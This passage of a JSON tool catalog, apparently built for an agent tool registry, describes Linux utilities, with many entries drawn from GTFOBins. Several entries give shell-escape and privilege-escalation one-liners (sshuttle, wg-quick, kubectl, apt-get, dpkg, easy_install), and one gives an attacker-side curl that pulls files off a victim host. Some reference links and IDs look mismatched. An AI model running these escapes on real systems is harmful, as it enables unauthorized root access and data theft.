        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Preserves modification times, access times, and file mode bits",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet mode: disables the progress meter as well as warning and",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Recursively copy entire directories. Note that scp follows sym-",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verbose mode. Causes scp and ssh(1) to print debugging messages",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "network-remote-ssh",
      "network-transfer-sftp",
      "system-sync-rsync"
    ],
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# urlget\n\nurlget is a command-line utility. Fetch URLs using the uriparser library; can also read arbitrary files.\n",
    "_source": "urlget.md",
    "allowed-tools": [
      "urlget"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fetch URLs using uriparser library; can download and upload files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "urlget - /path/to/input-file"
      }
    ],
    "execution": {
      "template": "urlget",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "network-transfer-urlget",
    "install": [
      {
        "method": "apt",
        "package_name": "urlget",
        "commands": [
          "apt-get install -y urlget"
        ]
      }
    ],
    "name": "urlget",
    "namespace": "network:transfer:urlget",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/urlget/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "ligolo-ng.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Tunneling/pivoting proxy for network penetration testing.",
    "examples": [
      {
        "description": "Display help for ligolo-ng",
        "command": "ligolo-ng --help"
      }
    ],
    "execution": {
      "template": "ligolo-ng --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "ligolo-ng",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "go install github.com/nicocha30/ligolo-ng/cmd/ligolo-agent@latest"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "ligolo-ng",
    "namespace": "network:tunnel:proxy",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "ligolo-ng Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ligolo-ng"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "openvpn.md",
    "allowed-tools": [
      "openvpn",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OpenVPN client, can execute commands via config and up/down scripts.",
    "examples": [
      {
        "description": "Read a file via openvpn",
        "command": "openvpn --config /path/to/file"
      }
    ],
    "execution": {
      "template": "openvpn --config /path/to/config.ovpn",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-vpn-openvpn",
    "install": [
      {
        "method": "apt",
        "package_name": "openvpn",
        "commands": [
          "apt-get install -y openvpn"
        ]
      }
    ],
    "name": "openvpn",
    "namespace": "network:vpn:openvpn",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/openvpn/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# sshuttle\n\nsshuttle is a command-line utility. Transparent VPN over SSH; can also spawn an interactive shell.\n",
    "_source": "sshuttle.md",
    "allowed-tools": [
      "sshuttle"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Transparent VPN over SSH; can execute remote commands.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "sudo sshuttle -r x --ssh-cmd '/bin/sh -c \"/bin/sh 0<&2 1>&2\"' localhost"
      }
    ],
    "execution": {
      "template": "sshuttle",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-vpn-sshuttle",
    "install": [
      {
        "method": "apt",
        "package_name": "sshuttle",
        "commands": [
          "apt-get install -y sshuttle"
        ]
      }
    ],
    "name": "sshuttle",
    "namespace": "network:vpn:sshuttle",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sshuttle/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tailscale\n\ntailscale is a command-line utility. WireGuard-based mesh VPN client; can also upload files.\n",
    "_source": "tailscale.md",
    "allowed-tools": [
      "tailscale"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "WireGuard-based mesh VPN client; can spawn a shell.",
    "examples": [
      {
        "description": "Upload files (sudo)",
        "command": "tailscale serve --http=12345 /path/to/input-file"
      }
    ],
    "execution": {
      "template": "tailscale",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "network-vpn-tailscale",
    "install": [
      {
        "method": "apt",
        "package_name": "tailscale",
        "commands": [
          "apt-get install -y tailscale"
        ]
      }
    ],
    "name": "tailscale",
    "namespace": "network:vpn:tailscale",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tailscale/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wg-quick\n\nwg-quick is a command-line utility. Quick setup for WireGuard VPN tunnels; can also spawn an interactive shell.\n",
    "_source": "wg-quick.md",
    "allowed-tools": [
      "wg-quick"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Quick setup for WireGuard VPN tunnels; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "cat >/path/to/temp-file.conf <<EOF\n[Interface]\nPostUp = /bin/sh\nEOF\n\nwg-quick up /path/to/temp-file.conf"
      }
    ],
    "execution": {
      "template": "wg-quick",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-vpn-wg-quick",
    "install": [
      {
        "method": "apt",
        "package_name": "wireguard-tools",
        "commands": [
          "apt-get install -y wireguard-tools"
        ]
      }
    ],
    "name": "wg-quick",
    "namespace": "network:vpn:wg-quick",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/wg-quick/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "ipconfig.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays all current TCP/IP network configuration values and refreshes DHCP and DNS settings.",
    "examples": [
      {
        "description": "Run ipconfig with default options",
        "command": "ipconfig /?"
      }
    ],
    "execution": {
      "template": "ipconfig /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-ipconfig",
    "mitre_ids": [
      "T1015"
    ],
    "name": "ipconfig",
    "namespace": "network:windows:config",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "ipconfig Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# kubectl — Kubernetes CLI\n\nkubectl manages Kubernetes clusters. It can spawn a privileged shell via a crafted kubeconfig file with an exec-based authentication plugin, and serve files via the proxy subcommand for data exfiltration.\n",
    "_source": "kubectl.md",
    "allowed-tools": [
      "kubectl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "network.transfer.upload",
      "orchestration.kubernetes.manage"
    ],
    "contract": {
      "inputs": [
        {
          "type": "orchestration.kubeconfig",
          "description": "Path to kubeconfig"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Kubernetes command-line tool that can spawn shells via exec auth config and serve files via proxy.",
    "examples": [
      {
        "description": "Spawn shell via crafted kubeconfig with exec auth plugin",
        "command": "cat >/path/to/temp-file <<EOF\nclusters:\n- cluster:\n    server: https://x\n  name: x\ncontexts:\n- context:\n    cluster: x\n    user: x\n  name: x\ncurrent-context: x\nusers:\n- name: x\n  user:\n    exec:\n      apiVersion: client.authentication.k8s.io/v1\n      interactiveMode: Always\n      command: /bin/sh\n      args:\n        - '-c'\n        - '/bin/sh 0<&2 1>&2'\nEOF\nkubectl get pods --kubeconfig=/path/to/temp-file"
      },
      {
        "description": "Serve directory via HTTP for file upload",
        "command": "kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/"
      },
      {
        "description": "Download files from kubectl HTTP server (attacker side)",
        "command": "curl victim.com:12345/x/path/to/input-file -o /path/to/output-file"
      }
    ],
    "execution": {
      "template": "kubectl {kubeconfig} {proxy} {address} {port} {www} {www-prefix}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "orchestration-kubernetes-kubectl",
    "install": [
      {
        "method": "apt",
        "package_name": "kubectl",
        "commands": [
          "apt-get install -y kubectl"
        ]
      }
    ],
    "name": "kubectl",
    "namespace": "orchestration:kubernetes:kubectl",
    "parameters": [
      {
        "name": "kubeconfig",
        "type": "file",
        "required": false,
        "description": "Path to kubeconfig file",
        "aliases": [
          "--kubeconfig"
        ],
        "flag": "--kubeconfig"
      },
      {
        "name": "proxy",
        "type": "string",
        "required": false,
        "description": "Run proxy",
        "aliases": [
          "proxy"
        ],
        "flag": "proxy"
      },
      {
        "name": "address",
        "type": "string",
        "required": false,
        "description": "Proxy listen address",
        "aliases": [
          "--address"
        ],
        "flag": "--address"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "description": "Proxy listen port",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "www",
        "type": "string",
        "required": false,
        "description": "Directory to serve",
        "aliases": [
          "--www"
        ],
        "flag": "--www"
      },
      {
        "name": "www-prefix",
        "type": "string",
        "required": false,
        "description": "URL prefix for served files",
        "aliases": [
          "--www-prefix"
        ],
        "flag": "--www-prefix"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "kubectl documentation",
        "url": "https://kubernetes.io/docs/reference/kubectl/"
      }
    ],
    "related_tools": [
      "helm",
      "k9s"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-transfer"
      ],
      "consumes": [
        "kubeconfig"
      ]
    }
  },
  {
    "_body": "\n\n# apt-get — APT Package Manager\n\napt-get is the command-line package manager for Debian-based systems. It can be abused to execute arbitrary commands via Dpkg pre-invoke hooks or update pre-invoke options when used with sudo or SUID.\n",
    "_source": "apt-get.md",
    "allowed-tools": [
      "apt-get",
      "apt",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell",
      "system.package.install"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.package.name",
          "description": "Package name to install"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "APT package manager that can execute arbitrary commands via dpkg pre-invoke hooks or update pre-invoke.",
    "examples": [
      {
        "description": "Spawn shell via Dpkg Pre-Invoke config",
        "command": "echo 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' >/path/to/temp-file\napt-get -y install -c /path/to/temp-file sl"
      },
      {
        "description": "Spawn shell via Update Pre-Invoke option",
        "command": "apt-get update -o APT::Update::Pre-Invoke::=/bin/sh"
      },
      {
        "description": "Read changelogs via less pager",
        "command": "apt-get changelog apt"
      }
    ],
    "execution": {
      "template": "apt-get {y} {install} {c} {o}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-apt-apt-get",
    "install": [
      {
        "method": "apt",
        "commands": [
          "apt-get install -y apt"
        ]
      }
    ],
    "name": "apt-get",
    "namespace": "package:apt:apt-get",
    "parameters": [
      {
        "name": "y",
        "type": "string",
        "required": false,
        "description": "Assume yes to prompts",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "install",
        "type": "string",
        "required": false,
        "description": "Install packages",
        "aliases": [
          "install"
        ],
        "flag": "install"
      },
      {
        "name": "c",
        "type": "file",
        "required": false,
        "description": "Config file",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "o",
        "type": "string",
        "required": false,
        "description": "Set an arbitrary config option",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "apt-get man page",
        "url": "https://man7.org/linux/man-pages/man8/apt-get.8.html"
      }
    ],
    "related_tools": [
      "apt",
      "aptitude",
      "dpkg"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": [
        "config-file"
      ]
    }
  },
  {
    "_body": "\n# aptitude — APT Package Manager Interface\n\naptitude is a text-based interface to the APT package management system. The `changelog` command opens a less pager, which can be used to read arbitrary files or escape to shell (`!command`) when the binary has elevated privileges.\n",
    "_source": "aptitude.md",
    "allowed-tools": [
      "aptitude",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.package.install",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content via pager",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "APT package manager with a text interface that can spawn a less pager to read files.",
    "examples": [
      {
        "description": "Read changelogs via less pager",
        "command": "aptitude changelog aptitude"
      }
    ],
    "execution": {
      "template": "aptitude {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "package-apt-aptitude",
    "install": [
      {
        "method": "apt",
        "package_name": "aptitude",
        "commands": [
          "apt-get install -y aptitude"
        ]
      }
    ],
    "name": "aptitude",
    "namespace": "package:apt:aptitude",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "aptitude documentation",
        "url": "https://wiki.debian.org/Aptitude"
      }
    ],
    "related_tools": [
      "apt",
      "apt-get"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# dpkg — Debian Package Manager\n\ndpkg installs and manages Debian packages. With sudo, it can install a crafted package containing a `before-install` script that executes arbitrary commands as root.\n",
    "_source": "dpkg.md",
    "allowed-tools": [
      "dpkg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.package.install",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.package.deb",
          "description": "Debian package file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Debian package manager that can spawn shells via crafted package before-install scripts.",
    "examples": [
      {
        "description": "Spawn shell via crafted Debian package with before-install script",
        "command": "echo 'exec /bin/sh' >x.sh\nfpm -n x -s dir -t deb -a all --before-install x.sh .\ndpkg -i x_1.0_all.deb"
      },
      {
        "description": "View package list via less pager (can escape to shell)",
        "command": "dpkg -l"
      }
    ],
    "execution": {
      "template": "dpkg {i} {l}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-dpkg",
    "install": [
      {
        "method": "apt",
        "package_name": "dpkg",
        "commands": [
          "apt-get install -y dpkg"
        ]
      }
    ],
    "name": "dpkg",
    "namespace": "package:deb:dpkg",
    "parameters": [
      {
        "name": "i",
        "type": "file",
        "required": false,
        "description": "Install a package",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "l",
        "type": "string",
        "required": false,
        "description": "List installed packages",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "dpkg man page",
        "url": "https://man7.org/linux/man-pages/man1/dpkg.1.html"
      }
    ],
    "related_tools": [
      "apt",
      "apt-get"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "deb-package"
      ]
    }
  },
  {
    "_body": "",
    "_source": "opkg.md",
    "allowed-tools": [
      "opkg",
      "dpkg",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OPKG package manager, can execute commands via pre/post-install scripts.",
    "examples": [
      {
        "description": "Execute command via opkg with crafted package",
        "command": "opkg install /path/to/package.ipk"
      }
    ],
    "execution": {
      "template": "opkg install /path/to/package.ipk",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-opkg-opkg",
    "install": [
      {
        "method": "apt",
        "package_name": "opkg",
        "commands": [
          "apt-get install -y opkg"
        ]
      }
    ],
    "name": "opkg",
    "namespace": "package:opkg:opkg",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/opkg/"
      }
    ],
    "related_tools": [
      "dpkg",
      "rpm"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pkg.md",
    "allowed-tools": [
      "pkg",
      "pkg_add",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "FreeBSD package manager, can execute commands via pre/post-install scripts.",
    "examples": [
      {
        "description": "Execute command via pkg with crafted package",
        "command": "pkg install -y /path/to/package.txz"
      }
    ],
    "execution": {
      "template": "pkg install -y /path/to/package.txz",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-pkg-pkg",
    "install": [
      {
        "method": "apt",
        "package_name": "pkg",
        "commands": [
          "apt-get install -y pkg"
        ]
      }
    ],
    "name": "pkg",
    "namespace": "package:pkg:pkg",
    "parameters": [],
    "platforms": [
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pkg/"
      }
    ],
    "related_tools": [
      "pkg_add",
      "pkg_install"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "easy_install.md",
    "allowed-tools": [
      "easy_install",
      "pip",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python package installer (setuptools), can execute Python code via setup.py.",
    "examples": [
      {
        "description": "Execute Python code via easy_install setup.py",
        "command": "echo 'import os; os.system(\"exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty\")' >setup.py\neasy_install .\n"
      }
    ],
    "execution": {
      "template": "easy_install .",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-python-easy-install",
    "install": [
      {
        "method": "pip",
        "package_name": "setuptools",
        "commands": [
          "pip install setuptools"
        ]
      }
    ],
    "name": "easy_install",
    "namespace": "package:python:easy-install",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/easy_install/"
      }
    ],
    "related_tools": [
      "pip",
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pip.md",
    "allowed-tools": [
      "pip",
      "pipx",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Python package installer, can execute Python code via setup.py.",
    "examples": [
      {
        "description": "Execute Python code via pip install",
        "command": "pip install /path/to/package"
      }
    ],
    "execution": {
      "template": "pip install /path/to/package",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "package-python-pip",
    "install": [
      {
